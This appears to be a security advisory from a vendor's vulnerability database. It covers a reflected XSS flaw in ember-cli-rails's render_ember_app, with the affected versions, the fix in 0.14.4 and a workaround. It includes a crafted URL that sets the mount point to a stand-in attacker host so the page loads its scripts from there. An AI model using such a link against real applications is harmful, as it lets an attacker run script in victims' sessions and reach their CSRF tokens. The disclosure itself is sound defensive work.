
Cloud Vulnerability DB
A community-led vulnerabilities database
render_ember_app rewrites the root-relative asset URLs (src and href) of a Vite-based Ember application's index.html onto the application's mount point. It read that mount point from params[:ember_mount_point].
Routes drawn by mount_ember_app set ember_mount_point as a route default, which a request cannot override. On any other route, params falls through to the query string and the request body, so a request could choose the value:
https://example.com/?ember_mount_point=//attacker.exampleThe response then loads every script and stylesheet of the page from //attacker.example/…, and a value containing a quote breaks out of the attribute and injects markup. Either way an attacker who gets a victim to follow a crafted link runs JavaScript in the application's origin (reflected XSS), on a page that typically also carries the Rails CSRF token.
An application is affected when all of the following hold:
ember-cli-rails 0.13.2 or later, which introduced the rewriting;ember-cli >= 6.8), and is served from its build output rather than from Vite's development server (the default outside of development);render_ember_app from a view rendered by a route that mount_ember_app did not draw, as the README describes under "Overriding the view".
Applications that only render the Ember application through mount_ember_app (including with the controller and action options) are not affected. Classic (non-Vite) Ember applications are not affected.Fixed in 0.14.4: the mount point is read from request.path_parameters, which holds only what the matched route supplies.
Render the page from a route drawn by mount_ember_app, which accepts controller: and action: options:
mount_ember_app :frontend, to: "/", controller: "application", action: "index"Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."